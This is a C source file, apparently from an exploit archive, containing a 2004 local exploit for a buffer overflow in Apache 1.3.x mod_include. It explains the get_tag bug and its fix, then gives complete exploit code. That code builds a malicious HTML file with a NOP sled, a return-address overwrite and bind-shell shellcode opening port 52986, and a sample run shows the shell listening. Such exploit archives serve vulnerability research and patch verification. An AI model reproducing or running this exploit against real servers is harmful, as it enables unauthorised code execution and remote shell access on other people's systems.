477bcbdcc0
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165 lines
5.7 KiB
C
Executable file
165 lines
5.7 KiB
C
Executable file
/*********************************************************************************
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local exploit for mod_include of apache 1.3.x *
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written by xCrZx /18.10.2004/ *
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bug found by xCrZx /18.10.2004/ *
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*
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Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike) *
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*
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*********************************************************************************/
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/*********************************************************************************
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Technical Details:
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there is an overflow in get_tag function:
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static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode)
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{
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...
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term = c;
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while (1) {
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GET_CHAR(in, c, NULL, p);
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[1] if (t - tag == tagbuf_len) {
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*t = '\0';
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return NULL;
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} *
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// Want to accept \" as a valid character within a string. //
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if (c == '\\') {
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[2] *(t++) = c; // Add backslash //
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GET_CHAR(in, c, NULL, p);
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if (c == term) { // Only if //
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[3] *(--t) = c; // Replace backslash ONLY for terminator //
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}
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}
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else if (c == term) {
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break;
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}
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[4] *(t++) = c;
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}
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*t = '\0';
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...
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as we can see there is a [1] check to determine the end of tag buffer
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but this check can be skiped when [2] & [4] conditions will be occured
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at the same time without [3] condition.
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So attacker can create malicious file to overflow static buffer, on
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which tag points out and execute arbitrary code with privilegies of
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httpd child process.
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Fix:
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[1*] if (t - tag >= tagbuf_len-1) {
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Notes: To activate mod_include you need write "XBitHack on" in httpd.conf
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*********************************************************************************/
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/*********************************************************************************
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Example of work:
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[root@blacksand htdocs]# make 85mod_include
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cc 85mod_include.c -o 85mod_include
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[root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html
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[root@blacksand htdocs]# chmod +x evil.html
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[root@blacksand htdocs]# netstat -na|grep 52986
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[root@blacksand htdocs]# telnet localhost 8080
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Trying 127.0.0.1...
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Connected to localhost.
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Escape character is '^]'.
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GET /evil.html HTTP/1.0
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^]
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telnet> q
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Connection closed.
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[root@blacksand htdocs]# netstat -na|grep 52986
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tcp 0 0 0.0.0.0:52986 0.0.0.0:* LISTEN
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[root@blacksand htdocs]#
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*********************************************************************************/
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/*********************************************************************************
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Notes: ha1fsatan - ti 4elovek-kakashka :))) be co0l as always
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*********************************************************************************/
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/*********************************************************************************
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Personal hello to my parents :)
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*********************************************************************************/
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/*********************************************************************************
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Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz
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*********************************************************************************/
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#include <stdio.h>
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#include <stdlib.h>
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#include <fcntl.h>
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#define EVILBUF 8202
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#define HTMLTEXT 1000
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#define HTML_FORMAT "<html>\n<!--#echo done=\"%s\" -->\nxCrZx 0wn U\n</html>"
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#define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by xCrZx /18.10.2004/ ***\n"
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int main(int argc, char **argv) {
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char html[EVILBUF+HTMLTEXT];
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char evilbuf[EVILBUF+1];
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//can be changed
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char shellcode[] =
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// bind shell on 52986 port
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"\x31\xc0"
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"\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43"
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"\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89"
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"\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0"
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"\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68"
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"\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51"
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"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
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//execve /tmp/sh <- your own program
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/*
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"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
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"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
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"\xc0\x88\x43\x07\x89\x5b\x08\x89"
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"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
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"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
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"/tmp/sh";
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*/
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char NOP[] = "\x90\x40"; // special nops ;)
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char evilpad[] = "\\CRZCRZCRZCRZC"; // trick ;)
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int padding,xpad=0;
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int i,fd;
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long ret=0xbfff8688;
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if(argc>1) ret=strtoul(argv[1],0,16);
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else { fprintf(stderr,AUTHOR"\nUsage: %s <RET ADDR> > file.html\n\n",argv[0]);exit(0); }
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padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2);
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while(1) {
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if(padding%2==0) { padding/=2; break;}
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else {padding--;xpad++;}
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}
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memset(html,0x0,sizeof html);
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memset(evilbuf,0x0,sizeof evilbuf);
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for(i=0;i<padding;i++)
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memcpy(evilbuf+strlen(evilbuf),&NOP,2);
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for(i=0;i<xpad;i++)
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memcpy(evilbuf+strlen(evilbuf),(evilbuf[strlen(evilbuf)-1]==NOP[1])?(&NOP[0]):(&NOP[1]),1);
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memcpy(evilbuf+strlen(evilbuf),&shellcode,sizeof shellcode);
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memcpy(evilbuf+strlen(evilbuf),&evilpad,sizeof evilpad);
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*(long*)&evilbuf[strlen(evilbuf)]=ret;
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sprintf(html,HTML_FORMAT,evilbuf);
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printf("%s",html);
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return 0;
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}
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// milw0rm.com [2004-10-21]
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